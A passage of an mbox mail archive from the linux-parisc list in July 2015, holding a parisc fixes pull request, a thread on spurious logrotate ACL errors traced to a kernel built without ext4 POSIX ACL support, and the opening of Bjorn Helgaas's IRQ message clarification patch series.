1z8xIe4ErMaaA4rb8O096V176BNouwx50PXJdPazalmkeWT6KFmgcLYhVLGJAFkW
m5em8mli28pJiSRilOCcAffiHvt8+ThcCMqLqAKlQwz2AlvIcJQR8fBp59rmRE6r
c4fYHulmiZHSsLbmvs3XoC1ChdgjUtloN7VEeDDs2Q9V3De0Vw7AzInIbW+7zwaL
B+FnQmRpDvTcthu64eFo0cB+GBUfXSCIt+1Nugzl+Zir6N6hGPJemoEX2XzzNDnO
L3M0uDFGR2RXyLLTfLsTFQfCLMpxtSz8QFM9/yDzQVntENCfEAainCWjaJLxSLsV
yBPZxXiEdLgxTCFoo5hX/RL2tmge3x3WNnqReHEP9dt0r4UvxXxGOnlQk2I8TUgg
fINo4V8a92DG4McWbhzqKofewDYrvY+rJ3I8jW2QC4QttTO8wJwycAurfhe0pv1M
Jk9Exv6mn9JmQ7SxYQqOqz4nu92x6WsEbSaT0Syt0IFJYj4xcVUup/npgJKB9oDn
7RXjXvHTRAUm4D+6PPW2ECmwHMWIcs/WpHoiKt3GrP3jkh1rqpXImXOagRpv/4kf
+6n7EoyLk21P33MtY3g6
=Tkn9
-----END PGP SIGNATURE-----

--B0nZA57HJSoPbsHY--

From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v4.2
Date: Fri, 10 Jul 2015 23:04:08 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20150710210408.GA5000@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1436562281 5988 80.91.229.3 (10 Jul 2015 21:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2015 21:04:41 +0000 (UTC)
Cc: Alex Ivanov <lausgans@gmail.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 23:04:23 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZDfT4-00053D-MO
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jul 2015 23:04:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754674AbbGJVEV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2015 17:04:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:53951 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754662AbbGJVEU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2015 17:04:20 -0400
Original-Received: from ls3530.box ([92.203.14.77]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MS5xC-1ZPG2T3iqw-00TCIk; Fri, 10 Jul 2015 23:04:12
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:GSmJ1sns5ojkg5fJs1JiI+bdtAVY32qKqFqYrzL6XUScva1jRZE
 rclzbR7Hl1e3XrmsR6MMo4SY90TLixL5Tgo50olXVMy5YLf1MgCDqqfaqf9+pT4UP/PmlHc
 4xSUq3PYiksMZCib5wvfPuK5m6BQL2v7iDcYE5leXCLuqwLX+vyWxsaUCnaUn7edQEU57ub
 F+Q2y1ptypyYyMEXmdp2g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9h86IhA/WeE=:7krRc1MvSLLTKON3DLr+oB
 VFp2Qhtzi+B56qsOgNSFpNRqFekXu/gYPHFDEQ5/qd/8I4XuilIm+lK6MXYpEDZkZreMQQTUV
 z9tilbt8RzxT/r7Dl9iXw34PxCJ8aIPWdRx4Xe/Ivg5Cc4LBTpPRpI1fjGtidvXy2qWs5pVgV
 OVmLHpph/duqlOnAo2wHItPvlqlBJYcgrFhQSAPMSNYH8KRVn/GhLzbdrRv2vMayzNpr4X+3Q
 pS4rEaYT6zhxJCZIpiShmLSRcs4HMz2sjDQjPBCD2poosWn/i5+bT7CIl9zmoIwrkz+eckps6
 d2nCuA+v6z5aecl5LyHv5ZnwL4BCtMjM9urhPQzJU995m3hF6W9JsdWPiJO5yKGmvhPsPTQe8
 5LolmAEqdhbCNjAwfGuXYQ2CP+zVWgNdBV6EZUCu3vyE5fyAIUzkj/4nV69ShibUs89UFsQex
 nHMxijyG9MlA4LxDueJbDZAhC5f//UovkVM5aasOPyaZkk19gvrjxJU/7RXjf3JNmhOSS6boW
 7nWRZ3w8xxeXNroR4IJdT8I3zO6hbvsiQ07KZcDS0D3dH/m0f3+lp/OaMTlMWbmwuulR6DnZ9
 cvXEQ4Jbnoppv5vjNUClH9hcKmALznluDWMyAMnJq1uQkYEWsNP+liRikTXaB8jF+S90BSDM5
 NoBClRjdX/49h2AZeWKhdtgS6cn13UyEzh6vHWBtbrJVMdg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25821 gmane.linux.kernel:1993867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25821>

Hi Linus,

please pull the latest fixes for the parisc architecture for v4.2-rc2 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.2-1

We have one important patch from Dave Anglin and myself which fixes PTE/TLB
race conditions which caused random segmentation faults on our debian buildd
servers, and one patch from Alex Ivanov which speeds up the graphical text
console on the STI framebuffer driver.

Thanks,
Helge

----------------------------------------------------------------
Alex Ivanov (1):
      stifb: Implement hardware accelerated copyarea

John David Anglin (1):
      parisc: Fix some PTE/TLB race conditions and optimize __flush_tlb_range based on timing results

 arch/parisc/include/asm/pgtable.h  |  55 +++++++++----
 arch/parisc/include/asm/tlbflush.h |  53 ++++++------
 arch/parisc/kernel/cache.c         | 105 +++++++++++++++---------
 arch/parisc/kernel/entry.S         | 163 ++++++++++++++++++-------------------
 arch/parisc/kernel/traps.c         |   4 -
 drivers/video/fbdev/stifb.c        |  40 ++++++++-
 6 files changed, 250 insertions(+), 170 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL" messages
Date: Sat, 11 Jul 2015 11:51:12 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl>
References: <BLU0-SMTP118606EF06DBC860DA78C097B40@phx.gbl> <20130424110157.GA24835@thinkpad.nowster.org.uk> <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1436629888 30096 80.91.229.3 (11 Jul 2015 15:51:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 Jul 2015 15:51:28 +0000 (UTC)
Cc: Paul Martin <pm@debian.org>, 706050@bugs.debian.org,
	Debian Bug Tracking System <control@bugs.debian.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 11 17:51:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZDx3f-0006H9-0W
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 Jul 2015 17:51:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750840AbbGKPvQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jul 2015 11:51:16 -0400
Original-Received: from blu004-omc4s5.hotmail.com ([65.55.111.144]:57111 "EHLO
	BLU004-OMC4S5.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750830AbbGKPvQ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jul 2015 11:51:16 -0400
Original-Received: from BLU436-SMTP105 ([65.55.111.136]) by BLU004-OMC4S5.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Sat, 11 Jul 2015 08:51:15 -0700
X-TMN: [nZa9FVyNRlFdNJprOGuNCtj3s6T0frEa]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 11 Jul 2015 15:51:14.0393 (UTC) FILETIME=[6A9CFC90:01D0BBF1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25822>

On 2013-04-24, at 7:36 AM, John David Anglin wrote:

> On 24-Apr-13, at 7:01 AM, Paul Martin wrote:
> 
>> The test is
>> 
>>       if ((prev_acl = acl_get_fd(fdcurr)) == NULL) {
>>               if (errno != ENOTSUP) {
>>                       message(MESS_ERROR, "getting file ACL %s: %s\n",
>>                               currLog, strerror(errno));
>> 
>> 
>> and your kernel is responding with ENOSYS instead.  This contradicts
>> the manpage acl_get_fd(3):
>> 
>>    [ENOTSUP]          The file system on which the file identified by fd is
>>                       located does not support ACLs, or ACLs are disabled.
> 
> Thanks, forwarded your response to the parisc-linux list for review.


The spurious mail  has come back with logrotate 3.8.7-2.  File system is ext4:
/dev/sdc6 on /var type ext4 (rw,relatime,data=ordered)

/etc/cron.daily/logrotate:
error: getting file ACL /var/log/apt/term.log: Operation not supported
error: getting file ACL /var/log/apt/history.log: Operation not supported
...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#706050: logrotate: spurious "error: getting file ACL"
 messages
Date: Sun, 12 Jul 2015 09:15:55 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <1436688955.2344.1.camel@HansenPartnership.com>
References: <BLU0-SMTP118606EF06DBC860DA78C097B40@phx.gbl>
	 <20130424110157.GA24835@thinkpad.nowster.org.uk>
	 <BLU0-SMTP60C4315DE3E426704E80A897B50@phx.gbl>
	 <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436688974 19535 80.91.229.3 (12 Jul 2015 08:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2015 08:16:14 +0000 (UTC)
Cc: Paul Martin <pm@debian.org>, 706050@bugs.debian.org,
	Debian Bug Tracking System <control@bugs.debian.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 12 10:16:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZECQd-00006P-7h
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Jul 2015 10:16:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750991AbbGLIQB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2015 04:16:01 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38760 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750936AbbGLIQA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2015 04:16:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1BA9F8EE121;
	Sun, 12 Jul 2015 01:16:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4hLACLeH0y7R; Sun, 12 Jul 2015 01:15:59 -0700 (PDT)
Original-Received: from [10.130.40.54] (host81-149-166-81.in-addr.btopenworld.com [81.149.166.81])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0696E8EE086;
	Sun, 12 Jul 2015 01:15:57 -0700 (PDT)
In-Reply-To: <BLU436-SMTP10577C68AA6B4B3605CAF59979E0@phx.gbl>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25823>

On Sat, 2015-07-11 at 11:51 -0400, John David Anglin wrote:
> On 2013-04-24, at 7:36 AM, John David Anglin wrote:
> 
> > On 24-Apr-13, at 7:01 AM, Paul Martin wrote:
> > 
> >> The test is
> >> 
> >>       if ((prev_acl = acl_get_fd(fdcurr)) == NULL) {
> >>               if (errno != ENOTSUP) {
> >>                       message(MESS_ERROR, "getting file ACL %s: %s\n",
> >>                               currLog, strerror(errno));
> >> 
> >> 
> >> and your kernel is responding with ENOSYS instead.  This contradicts
> >> the manpage acl_get_fd(3):
> >> 
> >>    [ENOTSUP]          The file system on which the file identified by fd is
> >>                       located does not support ACLs, or ACLs are disabled.
> > 
> > Thanks, forwarded your response to the parisc-linux list for review.
> 
> 
> The spurious mail  has come back with logrotate 3.8.7-2.  File system is ext4:
> /dev/sdc6 on /var type ext4 (rw,relatime,data=ordered)
> 
> /etc/cron.daily/logrotate:
> error: getting file ACL /var/log/apt/term.log: Operation not supported
> error: getting file ACL /var/log/apt/history.log: Operation not supported
> ...

It looks like you built your kernel without CONFIG_EXT4_FS_POSIX_ACL.
The warning is harmless because ACLs aren't required for logs ... it's
merely trying to duplicate the ACL on the rotated file.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 0/3] IRQ trivial clarifications
Date: Sun, 12 Jul 2015 17:01:45 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436738523 6793 80.91.229.3 (12 Jul 2015 22:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2015 22:02:03 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 00:01:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEPJp-00045D-GR
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jul 2015 00:01:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751547AbbGLWBw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2015 18:01:52 -0400
Original-Received: from mail-ig0-f179.google.com ([209.85.213.179]:33246 "EHLO
	mail-ig0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751770AbbGLWBt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2015 18:01:49 -0400
Original-Received: by iggp10 with SMTP id p10so64514489igg.0
        for <linux-parisc@vger.kernel.org>; Sun, 12 Jul 2015 15:01:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:user-agent:mime-version
         :content-type:content-transfer-encoding;
        bh=vm+llnLKuJ98kWsRukKf4ELJz+mj1f+Wk9P4dgdlL2A=;
        b=JFUmISTSl80ujcZafLRQnswcfIhluszmB64GDxvBcLsyFhu0ukEZcZQ3DK7G7X4ce6
         1YCjVPeOY/KlftBkce7YCBO4vXcsBf0kB8V4cmuMFvMBId8m2Uq6qQWFoxTcV9fYYueq
         ylZWt2mwsdcBiPheFiOMgP5zY1mH7FLxg3bl1HNnUnu/e8+JpJ7jO1bon2DCg4VMQ/jl
         2WbDp1bYnTFLOZWC+mwnBEs2vemeKRLGFp5MYvEkIHwnaT6daLoleX3WFLiJSV9gKW9z
         nRqXqk5X1ZcO+GwybMXiHF7Qtj5DKr1nP64BMmc1v38xtVlapAU1ki3bwk6QDbVMJD9L
         gBQQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:from:cc:date:message-id:user-agent
         :mime-version:content-type:content-transfer-encoding;
        bh=vm+llnLKuJ98kWsRukKf4ELJz+mj1f+Wk9P4dgdlL2A=;
        b=hCHMCOSAiv6pXn6EtFDkXZ+QrG1b8sq0qEMU0HY1+od4XD3mgm0r6mTdVvJEjtz0zJ
         UIu2q7LztGKJuSqpG8anYPqRIJWxMpT/QxwAU+1YizgxCMa2O3/KsTrmzqzpU9ojZ5Yj
         ctWxRbAt340OzSbyzZulhAN0fysjJ35FTEiKiydhigEvbYmj8bzg+o1fMH2itd6YgiBe
         Cg5z2IshK5z8sTiJFHIr8mI3AtKx9bHokozMLoZsJUVazHYzURbKZ2racmZDryvy3Kod
         LxR86glAWW4ENun6RoQiToBgaaS8MfgBctMaajgsORICpAiXRaNghbRl1u2nvpLcpqPa
         76RQ==
X-Gm-Message-State: ALoCoQlu3+B63qWqdFxCRfPG2utrxVPY/xXtNvmbWUOswyE/HCBtX6E6GKyGhazdEofAbHKtFDH+
X-Received: by 10.107.148.8 with SMTP id w8mr16540433iod.116.1436738508793;
        Sun, 12 Jul 2015 15:01:48 -0700 (PDT)
Original-Received: from localhost ([69.71.1.1])
        by smtp.gmail.com with ESMTPSA id ot6sm4382643igb.11.2015.07.12.15.01.46
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Sun, 12 Jul 2015 15:01:47 -0700 (PDT)
User-Agent: StGit/0.16
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25824 gmane.linux.kernel.cross-arch:28342 gmane.linux.ports.mips.general:49350 gmane.linux.ports.ia64:25573 gmane.linux.ports.sh.devel:47145 gmane.linux.kernel:1994366 gmane.linux.ports.alpha:3187 gmane.linux.ports.ppc64.devel:115129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25824>

These don't fix anything at all.  But they might make code understanding
and debugging slightly easier.

---

Bjorn Helgaas (3):
      x86, irq: Rename VECTOR_UNDEFINED and VECTOR_RETRIGGERED to IRQ_*
      x86, irq: Clarify "No irq handler" message
      IRQ: Print "unexpected IRQ" messages consistently across architectures


 arch/alpha/kernel/irq.c            |    2 +-
 arch/blackfin/kernel/irqchip.c     |    2 +-
 arch/c6x/kernel/irq.c              |    2 +-
 arch/ia64/kernel/irq.c             |    2 +-
 arch/m68k/include/asm/hardirq.h    |    2 +-
 arch/mips/kernel/irq.c             |    2 +-
 arch/mn10300/kernel/irq.c          |    2 +-
 arch/parisc/include/asm/hardirq.h  |    2 +-
 arch/powerpc/include/asm/hardirq.h |    2 +-
 arch/s390/include/asm/hardirq.h    |    2 +-
 arch/sh/kernel/irq.c               |    2 +-
 arch/tile/kernel/irq.c             |    2 +-
 arch/x86/include/asm/hw_irq.h      |    4 ++--
 arch/x86/kernel/apic/vector.c      |   14 +++++++-------
 arch/x86/kernel/irq.c              |   19 +++++++++----------
 arch/x86/kernel/irqinit.c          |    4 ++--
 include/asm-generic/hardirq.h      |    2 +-
 17 files changed, 33 insertions(+), 34 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/3] x86,
 irq: Rename VECTOR_UNDEFINED and VECTOR_RETRIGGERED to IRQ_*
Date: Sun, 12 Jul 2015 17:01:54 -0500
Lines: 163
Approved: news@gmane.org
Message-ID: <20150712220154.7166.48327.stgit@bhelgaas-glaptop2.roam.corp.google.com>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436738545 6986 80.91.229.3 (12 Jul 2015 22:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2015 22:02:25 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-ia64@vger.kernel.org,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-alpha@vger.kernel.org, x86@kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 13 00:02:19 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZEPKD-00054Y-3u
	for glk-linux-kernel-3@plane.gmane.org; Mon, 13 Jul 2015 00:02:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752014AbbGLWCE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 12 Jul 2015 18:02:04 -0400
Original-Received: from mail-ig0-f182.google.com ([209.85.213.182]:38108 "EHLO
	mail-ig0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751920AbbGLWB6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 12 Jul 2015 18:01:58 -0400
Original-Received: by iggf3 with SMTP id f3so8752795igg.1
        for <linux-kernel@vger.kernel.org>; Sun, 12 Jul 2015 15:01:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=G/0r62PaWXJ1YHagQIHY9T7i+OYlTDLsPqktueROlqs=;
        b=afWXACq1nDA5pGvjM74RmDBOohFf2tKJJF9xXxobtmVRwIo4GCrLrq5wU/PHYYUls8
         VKuAS4K6GwqKC9BRRnR1LQOJSQKMhCDaYmMBUILo6wPnK/E7Cc4mfV1aQwe7ug79WfHO
         afFPuhsBkF3m+EJ1B9LnAmE1Jr0P2QphNPQ1S15ofWrm3qSrWRzLzWOfr3r3opQNQDKO
         twBjjjV0PZ5PAfL2uwVn5IXHB9QZ/Ek/yTep75teOL0pQZrOcyx5hyEAyNjKujE7VmoD
         8wdreAkXQkXY+mQGKh5ioo9RwJCDBdAAEibS/gSRLyTCiFR546bKGjf9eI3pj33RQI28
         ysig==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:from:cc:date:message-id:in-reply-to
         :references:user-agent:mime-version:content-type
         :content-transfer-encoding;
        bh=G/0r62PaWXJ1YHagQIHY9T7i+OYlTDLsPqktueROlqs=;
        b=E4xv85Dj7g9NXwY4p2dCUmvWJVBB2QQ8B9Hah6MP685RYFPZSrnL6qk+3F4Lxl8Ik9
         UwVdfWXCirafuXeOkRJyEG8ZBJ8IASpPJ4UISEcpP/unF9DTBF2KkCOf5SWfAOVAZn5d
         FKmkiaeTnItxZZpzDuuMo3kj1aNS595E0aV2qTCcRsnrTscV6Tt575Imjg6gphYt8enU
         LGethrHDfZLiyHjv5PwHSPXHpn2VYfeYq1vC9llOrO/pgE5EKB9lIas66AfgGcGQAZrU
         +Hr1scicsKGZYDf57yiXFczF64G4Okfv7EBDL4Vdc+DM/JBSF38qYKjewVWqXtuQEtF8
         GHWg==
X-Gm-Message-State: ALoCoQkNTaQbfvCF+3kN1V9XhRDaqJJ6Xu1bNxYadNwq9mPY5rrBePGQpndkKoBF455/ovesP9t9
X-Received: by 10.50.79.169 with SMTP id k9mr9511550igx.44.1436738517530;
        Sun, 12 Jul 2015 15:01:57 -0700 (PDT)
Original-Received: from localhost ([69.71.1.1])
        by smtp.gmail.com with ESMTPSA id j20sm4393114igt.5.2015.07.12.15.01.55
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Sun, 12 Jul 2015 15:01:55 -0700 (PDT)
In-Reply-To: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
User-Agent: StGit/0.16
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1994367 gmane.linux.kernel.cross-arch:28343 gmane.linux.ports.mips.general:49351 gmane.linux.ports.ia64:25574 gmane.linux.ports.parisc:25825 gmane.linux.ports.sh.devel:47146 gmane.linux.ports.alpha:3188 gmane.linux.ports.ppc64.devel:115130
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1994367>

The per-cpu vector_irq[] table is indexed by CPU vector numbers, and each
entry contains an IRQ number.

Rename the special values VECTOR_UNDEFINED and VECTOR_RETRIGGERED to
